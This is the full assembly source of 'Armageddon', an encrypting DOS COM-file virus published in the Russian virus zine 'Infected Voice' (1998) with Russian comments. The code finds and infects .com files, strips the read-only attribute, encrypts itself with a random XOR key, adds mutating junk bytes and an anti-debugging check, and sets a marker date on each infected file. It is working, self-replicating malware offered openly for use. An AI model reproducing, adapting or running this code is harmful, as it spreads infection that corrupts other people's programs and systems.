; INFECTED VOICE ISSUE 98'09 (C)1994-98, by STEALTH group ; online h/p/v/a zine (russian) http://sourceofkaos.com/stealth ; mailto:noxyucT@usa.net ; ; Шифрованный COM вирус "Armageddon" (C)LordDark. Классический вариант. ; code segment 'code' assume cs:code,ds:code,es:code org 100h jertva: db 0e9h ; В оригинале: MOV DX,..;MOV AH,09h;.... dw Start-$-2 ; Смещение вира db 7,09h int 21h ret Message db 'Привет! :)',10,13,'$' db 1000 dup (90h) start: call EntryPoint len_str equ $-start EntryPoint: pop si push es push ds push si add si,offset RobbedBytes-EntryPoint mov di,100h movsw movsw pop si mov ax,3524h int 21h mov word ptr cs:[si+Seg24-entrypoint],es mov word ptr cs:[si+Off24-entrypoint],bx lea dx,[si+Int_24-entrypoint] mov ax,2524h int 21h ;- mov ah,19h int 21h cmp al,2 jb exit_ lea dx,[si+GoodMessage-EntryPoint] mov ah,9 int 21h lea dx,[si+buffer-entrypoint] mov ah,1ah int 21h lea dx,[si+SechStr-EntryPoint] mov cx,3fh ; Все файлы искать mov ah,4eh int 21h jc Exit NextFile: mov dx,si lea dx,[21+1+8+si+Buffer-EntryPoint] call Attack mov ah,4fh int 21h jc Exit_ jmp NextFile Exit_: mov dx,[si+Off24-entrypoint] mov ax,[si+Seg24-entrypoint] mov ds,ax mov ax,2524h int 21h Exit: ; Exit ; jmp 0100h pop es pop ds mov ax,0100h push ax lea bx,[si-len_str] mov cx,offset exit-entrypoint+len_str xor ax,ax l_del: mov cs:[bx],al inc bx loop l_del lea bx,[si+copy_crypt-entrypoint] mov cx,offset buffer-copy_crypt l_del_: mov cs:[bx],al inc bx loop l_del_ ret copy_crypt: push bx in al,40h or al,al mov ah,al mov byte ptr cs:[si+Crp_key-EntryPoint],ah lea bx,[si-len_str] lea di,[si+buffer-entrypoint+50] mov cx,VL l_crypt: mov al,cs:[bx] xor al,ah mov cs:[di],al inc bx inc di add ah,5 loop l_crypt pop bx mov ah,40h mov cx,len_un_crypt lea dx,[si+Un_Crypt-EntryPoint] int 21h lea dx,[si+buffer-EntryPoint+50] mov cx,VL mov ah,40h int 21h in al,40h mov cl,al xor ch,ch in al,40h xor cl,al mut_len: in ax,40h mov dx,ax in ax,40h xor ax,dx add al,ah mov byte ptr cs:[si+mut_byte-EntryPoint],al db 0B4h mut_byte db ? push cx mov ah,40h mov cx,1 lea dx,[si+mut_byte-entrypoint] int 21h pop cx loop mut_len ret Un_crypt: ; Процедура расшифровки ; Записовается в начало nop nop push cs pop ss pushf pop ax test ah,01 je not_debbug jmp End_Un_Crp not_debbug: pop si ; Востановим стек call GetAdr GetAdr: pop si ; Смещение GetAdr mov cx,VL lea bx,[si+End_Un_Crp-GetAdr] db 0B4h Crp_key db 0 l_un_crp: mov al,cs:[bx] xor al,ah mov cs:[bx],al call Pricol je not_debug_ jmp End_Un_Crp not_debug_: inc bx add ah,5 loop l_un_crp jmp End_Un_Crp Pricol: push cx mov cx,800 Pricol_1: xor dx,dx loop Pricol_1 pop cx ret End_Un_Crp: Len_un_crypt equ $-Un_Crypt Attack: ; Прога зараза mov bx,dx mov ax,word ptr [bx] cmp ax,word ptr WIN je Bad_Attack cmp ax,word ptr COMMAND je Bad_Attack mov ax,4300h ; GetAttr int 21h test cl,06h jne He_read_only mov ax,4301h ; SetAttr xor cx,cx int 21h He_read_only: mov ax,3D02h int 21h jc Bad_Attack ; Не получилось :-( xchg bx,ax ; ax <- handle mov ah,3fh lea dx,[si+RobbedBytes-entrypoint] mov cx,4 int 21h jc close cmp byte ptr cs:[si+TestZar-EntryPoint],7 je close cmp word ptr cs:[si+RobbedBytes-EntryPoint],'ZM' je close cmp word ptr cs:[si+RobbedBytes-EntryPoint],'MZ' je close xor cx,cx mov ax,4202h cwd int 21h sub ax,3 mov word ptr cs:[si+(FSize-EntryPoint)],ax call copy_crypt xor cx,cx mov ax,4200h cwd int 21h mov ah,40h mov cx,4 lea dx,[si+NewStart-entrypoint] int 21h ; поставим дату рождениЯ вира mov dx,9512 mov cx,42126 mov ax,5701h int 21h close: mov ah,3eh int 21h Bad_Attack: ret RobbedBytes: ; db 0 ; <- 'ш' ; FSize dw 0 ; <- Длинна файла минус 3 ; db 0 ; <- #7 mov dx,offset Message TestZar db 0B4h NewStart: db 0E8h FSize dw 0 db 7 WIN db 'WI' COMMAND db 'CO' Sechstr db '*.com',0 ; Ишем все комы GoodMessage db ' <<< Armageddon ver. 1.0 >>> ',10,13,'$' Int_24: mov al,3 iret Off24 dw 0 Seg24 dw 0 buffer: VL equ ($-start) code ends end jertva